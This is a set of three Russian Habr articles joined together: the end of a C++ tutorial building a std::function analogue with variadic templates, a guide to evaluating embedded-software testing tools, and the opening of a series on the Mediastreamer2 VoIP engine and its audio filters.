Класс function определяет оператор () соответствующий сигнатуре функции и передает управление методу invoke у класса function\_holder\_base. Этот класс имеет виртуальную функцию invoke, которая тоже совпадает с указанной сигнатурой (за исключением неявного параметра this).
Также класс function имеет шаблонный конструктор, который принимает один аргумент, в этом конструкторе создается наследник free\_function\_holder класса function\_holder\_base. Этот наследник является шаблонным классом — он сохраняет в себе переданный аргумент (обычно это функтор или указатель на функцию). В нем также определяется метод invoke, который вызывает сохраненный функтор с заданными аргументами.
Здесь необходимо отметить несколько особенностей шаблонов в C++:
* Тип возвращаемого значения может быть любой (в том числе и void), то есть конструкция return mFunction(args ...); валидна даже в том случае, когда возвращаемое значение void. Это сделано специально для шаблонного метапрограммирования, чтобы не плодить специализации для типа void.
* Аналогичным образом работают и variadic templates если количество входных аргументов равно 0 (функция без параметров).
* Мы можем написать шаблонный класс, который является наследником какого-то базового класса (причем необязательно шаблонного) — на этом стоит весь паттерн Type erasure
В принципе, мы получили работоспособный аналог std::function и boost::function, мы вполне можем писать следующий код:
```
int func2(const int * x, int y) {
return (*x) + y;
}
///...
typedef function int\_function\_with\_two\_args\_t;
int\_function\_with\_two\_args\_t f2(func2);
int x = 10;
cout << "calling function with signature int (const int \* , int): " << f2(&x, 20) << endl;
```
Переходим к улучшениям нашего класса:
##### Копируем поведение обычного указателя на функцию — оператор присваивания и конструктор копирования
Для того чтобы скопировать или присвоить объект мы должны уметь копировать (клонировать) указатель на базовый класс function\_holder\_base. Для этого расширим интерфейс этого класса следующим образом:
```
class function_holder_base {
public:
function_holder_base() {}
virtual ~function_holder_base(){}
virtual ReturnType invoke(ArgumentTypes ... args) = 0;
virtual std::auto_ptr clone() = 0;
private:
function\_holder\_base(const function\_holder\_base & );
void operator = (const function\_holder\_base &);
};
```
Делаем наш класс некопируемым (декларируем соответствующие оператор и конструктор в private секции), и добявляем метод clone, чтобы наследники сами определяли правильную стратегию клонирования.
Также, в класс function добавляются операторы присваивания и конструктор копирования:
```
function(const function & other)
: mInvoker(other.mInvoker->clone()) {}
function & operator = (const function & other) {
mInvoker = other.mInvoker->clone();
}
```
Здесь мы используем auto\_ptr и его разрушающее присваивание.
Осталось написать реализацию метода clone в наследнике — free\_function\_holder:
```
typedef free_function_holder self\_type;
virtual invoker\_t clone() {
return invoker\_t(new self\_type(mFunction));
}
```
Вот собственно и все, теперь наш класс ведет себя как обычный указатель на функцию, и мы можем делать так:
```
int func1() {
return 0;
}
///...
typedef function int\_function\_t;
int\_function\_t f1(func1);
cout << "calling function with signature int (void): " << f1() << endl;
int\_function\_t f2;
f2 = f1;
cout << "calling function after assignment operator with signature int (void): " << f2() << endl;
int\_function\_t f3(f2);
cout << "calling function after copying ctor with signature int (void): " << f3() << endl;
```
Переходим к заключительной части:
##### Добавляем поддержку указателей на функции-члены
Поддержка указателей на методы у меня получилась довольно ограниченная: можно передавать объект к которому применяется указатель на метод только по значению (а хотелось бы еще по ссылке (const и не const) и по указателю (const и не const)), но в принципе для примера этого будет достаточно.
При использовании boost (std) и нашей реализации function придерживаемся правила, что первым аргументом должен идти объект, к которому применяется указатель на метод, соответственно аргументы теперь делятся на два вида: сам объект, и аргументы метода. Соответственно, у нас есть гарантия, что количество аргументов строго больше 0, этим мы и воспользуемся далее:
```
template
class member\_function\_holder : public function\_holder\_base
{
public:
typedef FunctionType ClassType::\* member\_function\_signature\_t;
member\_function\_holder(member\_function\_signature\_t f) : mFunction(f){}
virtual ReturnType invoke(ClassType obj, RestArgumentTypes ... restArgs) {
return (obj.\*mFunction)(restArgs ...);
}
virtual invoker\_t clone() {
return invoker\_t(new member\_function\_holder(mFunction));
}
private:
member\_function\_signature\_t mFunction;
};
```
Реализация конструктора, который принимает указатель на метод тривиальна:
```
template
function(FunctionType ClassType::\* f)
: mInvoker(new member\_function\_holder(f))
{}
```
Мы сделали еще одного наследника function\_holder\_base специально для указателей на методы. Здесь используется особенность variadic templates: переменное количество типов (которое задается троеточием) можно расщепить на фиксированную часть, и остаток переменной длины (в котором количество типов меньше на размер фиксированной части). В конструкторе мы передаем в параметры шаблона фиксированную часть состоящую из одного типа — сигнатура функции, и произвольную часть — все остальное (это типы всех аргументов), а в реализации member\_function\_holder мы требуем, чтобы фиксированная часть состояла из двух элементов — сигнатура функции, класс, в котором находится наш метод, и аргументы непосредственно для вызова (здесь мы как раз используем указанную выше гарантию, что количество всех аргументов строго больше 0). Таким образом, мы сохраняем указатель на метод в конструкторе, и вызываем его в реализации метода invoke.
> Отдельно хочется сказать про крайне неудобный и неинтуитивный способ декларирования типа «указатель на метод» и про способ вызова такого метода. По этому поводу в [C++ FAQ](http://www.parashift.com/c++-faq/macro-for-ptr-to-memfn.html) есть предупреждение, о том как минимизировать количество головной боли при работе с указателями на методы (я полчаса гуглил, как записать правильно это выражение)
Вот и пример использования:
```
struct Foo {
int smth(int x) {
return x + 1;
}
};
///...
typedef function member\_function\_t;
member\_function\_t f1 = &Foo::smth;
Foo foo;
cout << "calling member function with signature int (int): " << f1(foo, 5) << endl;
```
#### Заключение
Благодаря поддержке variadic templates реализация function получилась довольно лаконичной, в том же boost из-за необходимости поддерживать старые компиляторы (в которых нет variadic templates) данный функционал реализован с помощью boost.preprocessor (и имеет ограничение на количество аргументов — по умолчанию 10, можно поменять, определив соответствующий define: BOOST\_FUNCTION\_MAX\_ARGS). Грубо говоря, реализация сделана для функций с одним аргументом, а потом «клонирована» на большее количество аргументов с помощью препроцессорной магии.
Полностью пример находится [здесь](https://github.com/prograholic/blog/tree/master/cxx_function) | https://habr.com/ru/post/159389/ | null | ru | null |
# Как оценить инструменты для тестирования встроенного ПО
#### Введение от автора поста
Имея опыт разработки ПО для ответственных систем более чем 8 лет, хочу познакомить сообщество с некоторыми материалами, связанными с разработкой и верификацией ПО для ответственных систем (аэрокосмическая область, медицина, транспорт и промышленность). Получив согласие на перевод и адаптирование ряда интересных статей у зарубежных коллег решил воспользоваться данным ресурсом. Буду рад, если статья заинтересует наше сообщество. В статье использованы материалы фирмы Vector Software, Inc.
На вопросы отвечу в комментариях или в личку
#### Какой Вы используете инструмент тестирования?
За последние несколько лет рынок инструментов автоматизированного тестирования был заполнен средствами, претендующими на выполнение одной и той же функции – автоматизированного тестирования. Википедия перечисляет 38 инструментов оценки среды тестирования только для языков программирования С/С++. К сожалению, потенциальные пользователи, изучая описание данных продуктов, а также их упрощенные демонстрационные версии, могут сделать вывод, что большинство инструментов практически одинаковы.
Целью данного документа является предоставление инженерам информации, которую необходимо принимать во внимание при оценке автоматизированных инструментов тестирования ПО, особенно в части автоматизированных инструментов динамического тестирования.
#### Вы не сможете оценить инструмент тестирования, прочитав его спецификацию
Все спецификации выглядят достаточно однотипно. Ключевые слова одни и те же: «лидер отрасли», «уникальная технология», «автоматизированное тестирование», «передовые методы». Скриншоты похожи друг на друга: гистограммы, структурные схемы, HTML-отчеты и процентные показатели. Все это навевает скуку.
#### Что такое тестирование ПО?
Все, кто когда-либо занимался тестированием ПО, знают, что оно состоит из многих компонентов. Для простоты будем использовать три термина:
* Системное тестирование – тестирование полностью интегрированного программного приложения
* Интеграционное тестирование – тестирование интегрированных групп программных модулей
* Модульное тестирование – тестирование отдельных модулей исходного кода приложения
Каждый в той или иной степени проводит системное тестирование, в процессе которого он выполняет некоторые действия из тех, которые будет выполнять конечный пользователь. Заметьте, мы говорим о некоторых действиях, а не о «всех возможных». Одна из самых распространенных причин ошибок в приложении – появление непредвиденных и, следовательно, неисследованных комбинаций входных данных.
Не так много людей проводит интеграционное тестирование, и совсем немногие – модульное тестирование. Если вы проводили интеграционное или модульное тестирование, вы знаете, как много тестовых кодов нужно создать, чтобы изолировать отдельный файл или группу файлов от всех остальных в приложении. На наиболее требовательных уровнях тестирования распространена ситуация, когда количество написанного кода для тестирования превышает количество проверяемого кода. В результате, такие уровни тестирования применяются, как правило, к критичным для функциональности и безопасности приложениям в таких сферах как авиация, медицинские приборы, железнодорожная промышленность.
#### Что значит «автоматизированное тестирование»?
Хорошо известно, что проведение процесса интеграционного и модульного тестирования вручную чрезвычайно дорого и занимает много времени; в результате о каждом инструменте, появляющемся на рынке, «трубят» как об использующем автоматизированное тестирование. Но что это означает — «автоматизированное тестирование»? Слово «автоматизация»разные люди понимают по-своему. Для многих разработчиков автоматизированное тестирование означает возможность нажать кнопку и получить результат – «зеленую галочку», означающую, что код верный либо «красный крестик», означающий ошибку.
К сожалению, такого инструмента не существует. А если бы существовал, вы бы захотели использовать его? Подумайте об этом. Что бы значило, если бы инструмент показал, что ваш код «в порядке»? Значило бы это, что код безупречно отформатирован? Возможно. Значило бы это, что код соответствует вашим стандартам кодирования? Возможно. Значило бы это, что код верен? Определенно нет!
Полностью автоматизированное тестирование недостижимо и, в принципе, нежелательно. Автоматизация должна быть направлена на алгоритмические и трудоемкие части процесса тестирования. Это освободит разработчиков ПО от постоянного создания все более совершенных и сложных тестов.
При оценке инструментов тестирования, возникает логичный вопрос: какую степень автоматизации обеспечивает данный инструмент тестирования? Это основная зона неопределенности при попытке организации рассчитать окупаемость инвестиций в инструменты тестирования.
#### Анализ инструментов тестирования
Инструменты тестирования в общем обеспечивают разнообразные функциональные возможности. Так как разные инструментарии предоставляются разными компаниями, то функциональность может отличаться при использовании другого инструмента. В соответствии с распространенной системой критериев мы выбрали следующие названия для компонентов, которые могут существовать в оцениваемых инструментах тестирования:
* *Анализатор* — Данный компонент позволяет инструменту тестирования понять ваш код. Он читает код и создает промежуточное представление кода (обычно в виде иерархической структуры). По сути то же самое выполняет компилятор. Его выходные данные или «данные анализатора», как правило сохраняются в файле на промежуточном языке.
* *Генератор кода* — Генератор кода использует «данные анализатора» для конструирования исходного кода тестовой программы.
* *Тестовая программа* — Несмотря на то, что тестовая программа, строго говоря, не является составной частью инструмента тестирования, решения, принятые в процессе построения тестовой программы, влияют на остальные характеристики инструмента тестирования. Поэтому архитектура такой программы имеет большое значение при оценке инструмента тестирования.
* *Компилятор* — Позволяет инструменту тестирования инициировать компилирование и связывание компонентов тестовой программы.
* *Целевой компонент* — Позволяет тестовым сценариям выполняться в разнообразном окружении, включая поддержку программ-эмуляторов, симуляторов, встроенных программ-отладчиков и коммерческих операционных систем реального времени.
* *Редактор тестов* — Редактор тестов позволяет пользователю использовать как скриптовый язык, так и изощренный графический интерфейс пользователя для установки предусловий и ожидаемых значений (критериев прохождения/непрохождения) для тестового сценария.
* *Покрытие* — Позволяет пользователю получить отчет, какие части кода проверяются тестом.
* *Компонент отчётов* — Позволяет объединить данные, собранные во время прохождения тестов в единую проектную документацию.
* *Интерпретатор командной строки* — Обеспечивает дополнительную автоматизацию при использовании инструмента тестирования путем активации инструмента при помощи скриптов, утилиты make и др.
* *Регрессионный компонент* — Позволяет тестам, созданным для одной версии ПО, перезапускаться для новых версий.
* *Интеграционный компонент* — Интеграция с инструментами сторонних компаний может быть весомым фактором для принятия решения об инвестиции в инструменты тестирования. Как правило, распространена интеграция с системами конфигурационного управления, с инструментами управления требованиями и инструментами статического анализа.
Следующие разделы более подробнее опишут, как должны оцениваться вышеперечисленные компоненты в рассматриваемом инструменте тестирования.
#### Виды инструментов тестирования/уровни автоматизации
В связи с тем, что ни один из инструментов тестирования не включает все функциональные возможности компонентов тестирования, описанных выше, и, в связи с существенными различиями между инструментами по степени автоматизации, мы создали следующую широкую классификацию инструментов тестирования. Оцениваемый инструмент можно отнести к одной из следующих групп:
* *Ручные* — «Ручные» инструменты создают пустой каркас для тестовой программы и требуют от вас ручного написания кода тестовых данных и логической части для выполнения тестового сценария. Как правило, они предоставляют скриптовый язык и/или набор библиотечных функций, которые могут использоваться для таких распространенных процессов как тестовые подтверждения или создания табличных отчётов для тестовой документации.
* *Полу-автоматизированные* — Полу-автоматизированные инструменты могут иметь графический интерфейс и некоторые автоматизированные функциональные возможности, но все же требуют ручного написания кода и/или разработки скриптов для тестирования более сложных конструкций. Также у полу-автоматизированных инструментов могут отсутствовать некоторые компоненты автоматизированных инструментов, например, встроенная поддержка развёртывания ПО на целевой платформе.
* *Автоматизированные* — Автоматизированные инструменты имеют связь с каждой функциональной областью или компонентом, перечисленными в предыдущем разделе. Инструменты этой группы не требуют ручного кодирования и поддерживают как все конструкции языка, так и развёртывания ПО на разных целевых платформах.
#### Неявные различия инструментов тестирования
В дополнение к сравнению характеристик инструментов и уровней автоматизации, важно оценить и сравнить используемые подходы к тестированию. Например, когда вы создаете тестовый проект, инструмент просто загружает файлы в свою интегрированную среду разработки, но не создает тестовую программу или тестовый сценарий пока вы не предпримете определенные действия.
В результате в инструменте тестирования могут быть скрытые недостатки. Поэтому важно не просто загрузить ваш код в инструмент тестирования, но также попробовать построить несколько простых тестовых сценариев для каждого метода в классе, который вы тестируете. Строит ли инструмент полную тестовую программу? Создаются ли заглушки автоматически? Можете ли вы использовать графический интерфейс пользователя для определения параметров и общих данных для тестовых сценариев или вам приходится писать код вручную, как если бы вы проводили тестирование вручную?
Схожим образом поддержка целевой платформы различается по используемым инструментам. Будьте осторожны, если поставщик говорит: «Мы поддерживаем все компиляторы и целевые объекты». Это означает только одно: «Вам придется сделать всю работу, чтобы наш инструмент работал в вашей рабочей среде».
#### Как оценить инструменты тестирования
В следующих нескольких разделах будет в деталях описано, какую информацию вы должны внимательно изучить при оценке инструмента тестирования ПО. В идеале вам следует подтвердить полученную информацию на практике, протестировав каждый из предлагаемых инструментов.
В связи с тем, что последующий материал в настоящей документации будет носить технический характер, мы хотели бы ввести некоторые условные обозначения. У каждого раздела есть заголовок, который описывает вопрос, который будет рассматриваться, далее пояснение, почему данный вопрос важен, и, наконец, «ключевые моменты», как резюме рассмотренного материала.
Также, говоря об условных обозначениях, мы должны обратить внимание на терминологию. Термин «функция» относится как к функции языка программирования С, так и к методу класса языка программирования С++, термин «модуль» относится и к файлу языка программирования С и к классу языка программирования С++. Наконец, нужно помнить, что почти все инструменты тестирования каким-либо образом поддерживают пункты, упомянутые в «ключевых моментах», ваша задача – оценить уровень автоматизации, простоту использования и степень поддержки.
#### Анализатор и генератор кода
Относительно просто построить анализатор для языка программирования С; гораздо сложнее построить полноценный анализатор для языка программирования С++. Один из вопросов, на который нужно ответить в процессе оценки, это насколько надежна и хорошо продумана технология анализатора. Некоторые поставщики инструментов тестирования приобретают и перепродают лицензированную технологию анализатора, у других есть анализаторы собственного изготовления. Надежность анализатора и генератора кода может быть проверена при помощи сложных конструкций кодов – типовых образцов кода, который вы будете использовать в своем проекте.
#### Тест-драйвер
Тест-драйвер это главная программа, контролирующая тестирование. Приведем простой пример драйвера, который протестирует математическую функцию синуса из стандартной библиотеки языка программирования С:
```
#include
#include
int main () {
float local;
local = sin (90.0);
if (local == 1.0) printf ("My Test Passed!\n");
else printf ("My Test Failed!\n");
return 0;
}
```
Несмотря на то, что это довольно простой пример, «ручной» инструмент тестирования может потребовать от вас напечатать (и отладить) этот маленький кусочек кода вручную, полу-автоматизированный инструмент выдаст некий тип скриптового языка или простой GUI для ввода аргумента синуса. Автоматизированный инструмент будет содержать полноценный GUI для построения тестовых сценариев, интегрированный анализ покрытия кода, интегрированную программу-отладчик и интегрированную возможность развёртывания ПО на целевой платформе.
Интересно, заметили ли вы, что в этом драйвере есть ошибка. Она заключается в том, что функция вычисления синуса в действительности использует в качестве входного значения угла радианы, а не градусы.
#### Использование заглушек для зависимых функций
Построение замещений для зависимых функций необходимо, когда вы хотите контролировать значения, возвращаемые зависимой функцией в процессе теста. Использование заглушек является важной частью интеграционного и модульного тестирования, так как позволяет изолировать тестируемый код от других частей приложения и проще выполнить тестирование интересующей подсистемы.
Многие инструменты требуют ручного создания тестового кода для выполнения заглушкой чего-либо более сложного за исключением возвращения статичной скалярной величины (return0;)
#### Тестовые данные
Существуют два основных подхода, используемых полу-автоматизированными и автоматизированными инструментами при реализации тестового сценария. Первый – это архитектура управляемая данными, второй – архитектура единичного теста.
Для управляемой данными архитектуры тестовая программа создается для всех тестируемых модулей и поддерживает все функции, определенные в этих модулях. При прогоне теста инструмент снабжает данными информационный поток, такой как файловый дескриптор или физический интерфейс, например, UART.
Для архитектуры единичного теста каждый раз во время прогона теста инструмент создает тест-драйвер и компилирует его в исполняемую программу. Важно отметить пару моментов; во-первых, создание дополнительного кода, требуемого при единичном тесте, а также последующая компиляция займет больше времени при выполнении теста; во-вторых, в итоге вы создаете отдельные тестовые программы для каждого тестового сценария.
Это значит, что оцениваемый инструмент может нормально работать для определенных номинальных сценариев и работать некорректно для более сложных тестов.
#### Автоматизированное создание тестовых данных
Разные автоматизированные инструменты обеспечивают определенную степень автоматизации создания тестового сценария. Для этого используются разные подходы, некоторые из них приведены ниже в таблице:
* *(МММ) Мин-сред-макc тестовые сценарии* — МММ тесты проверяют функции на пограничные значения типов входных данных. Код на языках программирования С и С++ часто не защищает себя от входных данных вне допустимого диапазона.
* *(EC) Классы эквивалентности* — ЕС тесты заключаются в следующем: данные разбиваются на классы эквивалентности, по принципу что программа ведет себя одинаково с каждым представителем отдельного класса. Таким образом проверяются не все возможные данные, а отдельные представители класса.
* *(RV) Случайные величины* — RV тесты задают сочетания случайных значений для каждого параметра функции.
* *(BP) Тесты по веткам условных операторов* — BP тесты могут автоматически создавать покрытие высокого уровня по веткам условных операторов.
Размышляя об автоматизированном создании тестовых сценариев, важно помнить, какой цели они служат. Автоматизированные тесты хороши для оценки робастности (надёжности) кода приложения, но не корректности (даже если они обеспечивают высокий уровень покрытия кода). Для корректности вы должны создать тесты, основанные на том, что ожидают от приложения (требования), а не что оно делает (код).
#### Интеграция компилятора
У интеграции компилятора двоякий смысл. С одной стороны интеграция позволяет автоматически построить компоненты тестовой программы без необходимости ввода параметров компилятора пользователем. С другой стороны интеграция позволяет инструменту тестирования принимать на обработку любые расширения языка, специфические для используемого компилятора. Распространённой является практика, что кросс-компиляторы поддерживают расширения, которые не являются частью стандартов языков программирования С/С++. Некоторые инструменты определяют такие расширения как пустую строку. Это очень грубый подход и главный его минус в том, что он меняет объектный код, создаваемый компилятором. Например, рассмотрим следующую глобальную внешнюю переменную с GCC атрибутом:
```
extern int MyGlobal __attribute__ ((aligned (16)));
```
Если рассматриваемый инструмент не поддерживает атрибут при определении глобального объекта MyGlobal, то код будет по-разному вести себя в процессе тестирования и в рабочем состоянии, так как выравнивание не будет одинаковым.
#### Поддержка тестирования на целевой платформе
В данном разделе мы будем использовать термин «набор инструментов» применительно к среде разработки включая кросс-компилятор, отладочный интерфейс (эмулятор), целевую платформу и операционную систему реального времени (RTOS). Важно выяснить, имеет ли рассматриваемый инструмент отличную интеграцию с вашим набором инструментов и понять, что нужно изменить в инструменте для миграции на другой набор инструментов.
Также важно выяснить уровень автоматизации и надежности интеграции с целевой платформой. Как уже упоминалось ранее, если поставщик говорит: «Мы поддерживаем все компиляторы и целевые платформы», это означает только одно: «Вам придется сделать всю работу, чтобы наш инструмент работал в вашей рабочей среде».
В идеале инструмент, который вы выбрали, должен выполнять тестирование по «одному нажатию кнопки», а все сложности загрузки ПО на целевую платформу и сбор результатов тестов на рабочей машине скрыты за сообщением «Идёт выполнение теста», так что от пользователя не потребуется особых действий.
Дополнительной сложностью тестирования на целевой платформе является вопрос о доступности аппаратных средств. Часто аппаратное обеспечение разрабатывается параллельно с программным обеспечением или имеет место ограничение доступа к аппаратным средствам. Важным моментом является возможность начать тестирование в собственной среде и позднее осуществить переход на реальную целевую платформу. В идеале артефакты инструмента тестирования должны быть независимыми от аппаратного обеспечения.
#### Редактор тестового сценария
Очевидно, что именно в редакторе тестового сценария вы будете проводить большую часть времени при использовании инструмента тестирования. Если инструмент действительно поддерживает автоматизацию перечисленных пунктов, упомянутых выше, тогда количество времени, затраченного на настройку тестовой среды и связи с целевой платформы будет минимально. Помните о том, что мы говорили в начале – наша цель заключается в том, чтобы инженеры использовали свое время для создания все более совершенных и более полных тестов.
Важный вопрос, на который нужно ответить при оценке – насколько сложно установить тестовые входные данные и ожидаемые значения для нетривиальных конструкций. Существующие на рынке инструменты обеспечивают достаточно простой способ установки скалярных величин. Например, оснащен ли оцениваемый инструмент простым и интуитивно-понятным способом конструирования классов? А как насчет настройки STL контейнера, такого как vector или map. Такие нюансы и необходимо оценивать в редакторе тестового сценария.
#### Покрытие кода
Большинство полу-автоматизированных и все автоматизированные инструменты тестирования содержат встроенное средство покрытия кода, позволяющее вам увидеть метрики, которые показывают количество кода ПО, выполняемого при запуске ваших тестовых сценариев. Некоторые инструменты предоставляют эту информацию в табличной форме. Другие выдают потоковый граф, а некоторые выдают снабженный комментариями листинг исходного кода. Хотя таблица и является хорошим представлением сводной информации, но если вы пытаетесь добиться 100% покрытия кода, снабженный комментариями листинг – лучший способ. Такой листинг показывает файл исходного кода с окрашиванием для покрытых, частично покрытых и непокрытых конструкций. Это позволяет легко увидеть, какие дополнительные тестовые сценарии нужны для 100% покрытия.
Также важно оценить влияние инструментария, так как к вашему ПО добавляется дополнительный исходный код. Есть два момента, которые необходимо учитывать: один – увеличение размера объектного кода, второй – дополнительные затраты во время выполнения программы. Важно понимать, имеет ли ваше ПО ограничения по памяти или по времени выполнения программы (или и то и другое). Это поможет сконцентрировать внимание на том, что для вашего ПО более важно.
#### Регрессионное тестирование
При выборе инструмента тестирования, мы должны помнить о двух основных целях. Первая цель – экономия времени тестирования. Если вы дочитали до этих слов, значит, вы согласны с нами. Вторая цель – обеспечить эффективное использование созданных тестов в течение жизненного цикла ПО. Это означает, что время и деньги, вложенные в создание тестов, должны дать в результате возможность многоразового использования тестов (при изменениях ПО в течение времени) и должны обеспечить легкость конфигурационного управления этими тестами. Главное оценить в интересующем вас инструменте, какие отдельные сущности должны быть сохранены для прохождения этих же тестов в будущем, и каким образом контролируется повторный запуск.
#### Составление отчетов
Большинство инструментов обеспечивают функцию составления отчетов сходным образом. Как минимум, они должны создавать простой для понимания отчет, демонстрирующий входные данные, ожидаемые выходные данные, фактические выходные данные и сравнение ожидаемых и фактических величин.
#### Интеграция с другими инструментами
Независимо от качества или практической пользы любого отдельного инструмента, все инструменты должны функционировать в среде, объединяющей системы разных производителей. Большие компании затратили огромное количество времени и денег, покупая маленькие компании, разработавшие инструмент, выполняющий «всё для всех». Для этих мега наборов инструментов характерно, что «общая сумма меньше, чем сумма частей». Компании часто взяв 4-5 небольших, но дельных инструмента, интегрируют их в один громоздкий и непригодный к эксплуатации инструмент.
Помимо интеграции с набором инструментов, которую мы уже рассмотрели, самыми полезными видами интеграции для инструментов тестирования является интеграция с инструментами статического анализа, конфигурационного управления и управления требованиями. Все хотят держать артефакты инструмента тестирования в системе управления конфигурацией (для их многократного использования), и большинство людей хотели бы трассировать требования на тестовые сценария.
#### Дополнительные желаемые характеристики инструмента тестирования
Мы закончили обзор раздела «Анализ инструментов тестирования». Предыдущие разделы описывали функциональное наполнение, которое есть в любом инструменте, считающимся автоматизированным. В следующих разделах мы перечислим некоторые желаемые (и менее распространенные) характеристики, одновременно аргументируя важность этих характеристик. Эти характеристики могут иметь различные уровни применимости к вашему проекту.
#### Истинное интеграционное тестирование/Многомодульное тестирование
Интеграционное тестирование является продолжением модульного тестирования. Оно используется для проверки интерфейсов между модулями и требует от вас объединения модулей, которые выполняют определенный функциональный процесс. Многие инструменты заявлены как поддерживающие интеграционное тестирование путем связывания объектного кода для реальных модулей с помощью тестовой программы. Этот метод конструирует множество файлов внутри выполняемой тестовой программы, но не обеспечивает возможности активизировать функции внутри этих дополнительных модулей. В идеале вы должны иметь возможность активизировать любую функцию в любом модуле в любом порядке в рамках одного тестового сценария. Тестирование интерфейсов между модулями в целом раскроет множество скрытых допущений и ошибок в ПО. Фактически интеграционное тестирование может быть первым шагом для проектов, у которых нет истории модульного тестирования.
#### Использование динамических заглушек
Создание динамических заглушек означает возможность динамического включения и отключения собственных функций заглушек. Это позволяет создавать тест для отдельной функции, заглушив все остальные функции (даже если они существуют в том же модуле, что и тестируемая функция). Для очень сложного кода это важнейшая характеристика, существенно упрощающая выполнение тестирования.
#### Тестирование на уровне библиотеки и приложения
Одной из сложных проблем в системном тестировании является то, что тестовое воздействие, направленное на полностью интегрированное ПО может потребовать от пользователя нажатия на кнопки и переключатели или печати на консоли. Если приложение встроенное, входные данные будет еще сложнее контролировать. Допустим вы можете подавать внешние воздействия на функциональном уровне, схожим с интеграционным тестированием образом. Это позволит вам построить совокупность тестовых сценариев, опирающуюся только на API ПО.
Некоторые из наиболее современных инструментов позволяют вам проводить тестирование таким образом. Дополнительным преимуществом этого режима тестирования является отсутствие потребности в исходном коде для тестирования приложения. Вам всего лишь нужно определение API (как правило, заголовочные файлы). Эта методология дает испытателю автоматизированный и скриптовый способ выполнения системного тестирования.
#### Agile-тестирование и разработка посредством тестирования (TDD)
Разработка посредством тестирования подразумевает следующее: вместо того чтобы сначала написать код приложения и во вторую очередь протестировать модуль, вы создаете сначала тесты до написания кода приложения. Это новый популярный подход к разработке – разрабатывать сначала тест. Ваш автоматизированный инструмент должен поддерживать этот метод тестирования, если вы планируете использовать методологию гибкой разработки.
#### Двунаправленная интеграция с инструментами управления требованиями
Если вас заботит связывание требований с тестовыми сценариями, тогда желательна интеграция инструмента тестирования с инструментом управления требованиями. Если вас интересует эта характеристика, важно отметить двунаправленность интерфейса; когда требования помечены в тестовых сценариях, информация тестового сценария, как, например, имя теста и статус прохождения/отказа, переносятся в базу данных требований. Это позволяет вам получить чувство завершенности тестирования требований.
#### Квалификация инструмента
Если вы работаете в регулируемой среде, такой как гражданская авиация или изготовление медицинских приборов класса III, тогда вы обязаны квалифицировать средства разработки, используемые для построения и тестирования вашего приложения.
Квалификация подразумевает документирование назначения инструмента (его эксплуатационные требования) и результаты тестов, доказывающие, что инструмент работает в соответствии с этими требованиями. В идеале поставщик должен иметь эти материалы в готовом виде, а также историю покупателей, использовавших квалификационные данные в своей отрасли деятельности.
#### Заключение
Помните, что практически каждый инструмент тестирования встроенного ПО тем или иным образом поддерживает пункты, упомянутые в ключевых моментах. Важно понимать насколько он автоматизирован, прост в использовании и оценить полноценность поддержки. | https://habr.com/ru/post/182544/ | null | ru | null |
# Изучаем VoIP-движок Mediastreamer2. Часть 1
Материал статьи взят с моего [дзен-канала](https://zen.yandex.ru/id/5e3f8e0751f5346faab4fc7a).
Все статьи цикла
----------------
[Статья 1](https://habr.com/ru/post/495702/)
[Статья 2](https://habr.com/ru/post/495728/)
[Статья 3](https://habr.com/ru/post/495780/)
[Статья 4](https://habr.com/ru/post/495982/)
[Статья 5](https://habr.com/ru/post/496160/)
[Статья 6](https://habr.com/ru/post/496328/)
[Статья 7](https://habr.com/ru/post/496490/)
[Статья 8](https://habr.com/ru/post/496666/)
[Статья 9](https://habr.com/ru/post/496874/)
[Статья 10](https://habr.com/ru/post/497932/)
[Статья 11](https://habr.com/ru/post/499010/)
[Статья 12](https://habr.com/ru/post/499970/)
[Статья 13](https://habr.com/ru/post/509036/)
Книгу на основе статей можно свободно скачать по ссылке: [pdf-файл](https://vk.cc/ax6mPg).
Введение
--------
Эта статья является началом цикла статей о реалтайм обработке медиаданных с помощью движка Mediastreamer2.
В ходе изложения будут задействованы минимальные навыки работы в терминале Linux и программирования на языке Си.
Mediastreamer2 это VoIP-движок, лежащий в основе популярного open-source проекта программного voip-телефона [Linphone](http://linphone.org/). В Linphone Mediastreamer2 реализует все функции связанные со звуком и видео. Подробный список возможностей движка можно увидеть на этой странице [Mediastreamer](https://www.linphone.org/technical-corner/mediastreamer2). Исходный код находится здесь: [GitLab](https://gitlab.linphone.org/BC/public/mediastreamer2).
Далее в тексте, для удобства, вместо слова Mediastreamer2 будем использовать его русскую нотацию: "медиастример".
История его создания не совсем ясна, но судя по его исходному коду, он ранее использовал библиотеку [Glib](https://ru.wikipedia.org/wiki/GLib), что как бы намекает нам, на возможное дальнее родство с [GStreamer](https://ru.wikipedia.org/wiki/GStreamer). В сравнении с которым медиастример выглядит более легковесным. Первая версия Linphone появилась в 2001 году, так что в настоящий момент медиастример существует и развивается без малого 20 лет.
В основе медиастримера лежит архитектура называемая "Data flow" (поток данных). Пример такой архитектуры изображен на рисунке ниже.
В этой архитектуре алгоритм обработки данных задается не программным кодом, а схемой (графом) соединения функций, которые можно выстраивать в любом порядке. Эти функции называются фильтрами.
Такая архитектура позволяет реализовать функционал обработки медиа в виде набора фильтров, соединенных в схему обработки и передачи RTP-трафика VoIP-телефона.
Возможность соединять фильтры в произвольные схемы, простая разработка новых фильтров, реализация медиастримера в виде самостоятельной отдельной библиотеки, позволяют использовать его и в других проектах. Причём, проект может быть в области VoIP, так как имеется возможность добавлять фильтры сделанные своими руками.
Поставляемая по умолчанию библиотека фильтров достаточно богата и как уже было сказано, может быть расширена фильтрами собственной разработки. Но сначала опишем готовые фильтры, которые поставляются вместе с медиастримером. Вот их список:
### Звуковые фильтры
#### Захват и воспроизведение звука
* Alsa (Linux): MS\_ALSA\_WRITE, MS\_ALSA\_READ
* Android native sound (libmedia): MS\_ANDROID\_SOUND\_WRITE, MS\_ANDROID\_SOUND\_READ
* Audio Queue Service (Mac OS X): MS\_AQ\_WRITE, MS\_AQ\_READ
* Audio Unit Service (Mac OS X)
* Arts (Linux): MS\_ARTS\_WRITE, MS\_ARTS\_READ
* DirectSound (Windows): MS\_WINSNDDS\_WRITE, MS\_WINSNDDS\_READ
* Проигрыватель файлов (raw/wav/pcap файлы) (Linux): MS\_FILE\_PLAYER
* Проигрыватель файлов (raw/wav файлы) (Windows): MS\_WINSND\_READ
* Запись в файл (wav файлы) (Linux): MS\_FILE\_REC
* Запись в файл (wav файлы) (Windows): MS\_WINSND\_WRITE
* Mac Audio Unit (Mac OS X)
* MME (Windows)
* OSS (Linux): MS\_OSS\_WRITE, MS\_OSS\_READ
* PortAudio (Mac OS X)
* PulseAudio (Linux): MS\_PULSE\_WRITE, MS\_PULSE\_READ
